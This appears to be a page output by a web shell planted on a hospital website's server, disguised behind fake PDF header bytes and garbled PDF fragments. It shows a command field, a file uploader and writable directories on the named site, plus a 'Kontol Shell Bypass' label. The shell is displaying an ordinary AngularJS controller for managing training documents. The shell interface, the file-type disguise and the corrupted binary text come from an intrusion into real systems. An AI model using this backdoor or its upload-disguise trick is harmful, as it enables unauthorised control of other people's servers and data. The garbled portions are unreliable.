%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/js/training_docs.js
/** TrainingDocs **/
angular.module('MetronicApp').controller("TrainingDocs", function($scope, $http, $state, $location, $timeout){
	var CR=this;
	CR.sdata={p:1};
	CR.fdtl={};
	CR.cats=[];
	CR.formCats=[];
	
	CR.openForm=function(dtl){
		hide_form_errors($("#frm"));
		$("#frm").find('[type="file"]').val('');
		CR.data=dtl?dtl:{status:'1', id:''};
		showModal($("#formModal"), true);
	}
	
	CR.lists=function(p){
		show_loader();
		CR.sdata.p=p?p:1;
		$http({url: API_URL+'trfiles/lists', params:CR.sdata}).success(
			function(res){
				CR.result=res.result;
				CR.page=res.page;
				CR.cats=res.cats;
			}
		);
	}
	
	CR.save=function(){
		var frm=$("#frm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'trfiles/save', method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.lists(CR.data.id?CR.sdata.p:1);
					hideModal($("#formModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		);
	}
	
	CR.edit=function(id, cat_id, title){
		CR.openForm({id, cat_id, title});
	}

	
	CR.delete=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'trfiles/delete', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				if(res.success=='T'){
					show_alert_msg(res.msg);
					var pg=CR.sdata.p;
					if(CR.page.total==1){
						pg=1;
					}
					CR.lists(pg);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		);
	}

	CR.copyLink=(link)=>{
		strCopyToClipboard(link);
	}

	CR.getIcon=(ext, file_url)=>{
		ext=ext.toLowerCase();
		let icon='';
		switch(ext){
			case '.pdf':
				icon='<i class="fa fa-file-pdf-o fa-4x font-red-mint"></i>';
			break;
			case '.doc': case '.docx':
				icon='<i class="fa fa-file-word-o fa-4x font-blue-madison"></i>';
			break;
			case '.xls': case '.xlsx':
				icon='<i class="fa fa-file-excel-o fa-4x font-green-meadow"></i>';
			break;
			case '.ppt': case '.pptx':
				icon='<i class="fa fa-file-powerpoint-o fa-4x font-yellow-casablanca"></i>';
			break;
			case '.mp4': case '.webp': case '.mkv': case '.avi': case '.mov':
				//icon='<i class="fa fa-file-video-o fa-4x font-dark"></i>';
				icon=`
					<video class="vplayer1">
						<source src="${file_url}" />
						Your browser does not support the video tag.
					</video>
				`;
			break;
		}

		return icon+'<div class="pt5 text-center text-default">'+ext+'</div>';
	}

	CR.isPdfOrVideo=(ext)=>{
		ext=ext.toLowerCase();
		let flg=false;
		switch(ext){
			case '.mp4': case '.webp': case '.mkv': case '.avi': case '.mov': case '.pdf':
				flg=true;
			break;
		}
		return flg;
	}

	CR.openFile=(rob)=>{
		if(!CR.isPdfOrVideo(rob.file_ext) && !rob.is_image){
			return;
		}

		CR.fdtl={...rob};
		showModal($("#docModal"), true, true);
	}

	CR.closeFile=()=>{
		CR.fdtl={};
		$("#docModal").modal('hide');
	}

	CR.openCatsModal=()=>{
		CR.formCats=copyObj(CR.cats);
		showModal($("#catsModal"), true);
	}

	CR.addCat=()=>{
		CR.formCats.push({id:'', title:''});
	}
	CR.removeCat=(i)=>{
		CR.formCats.splice(i, 1);
	}

	CR.saveCats=function(){
		var frm=$("#catsfrm");
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'trfiles/saveCats', method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success){
					show_alert_msg(res.msg);
					CR.cats=res.cats;
					hideModal($("#catsModal"));
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		);
	}
	
	/** Init **/
	CR.init=function(){
		CR.lists();
	}
	CR.init();
});

//EOF

Kontol Shell Bypass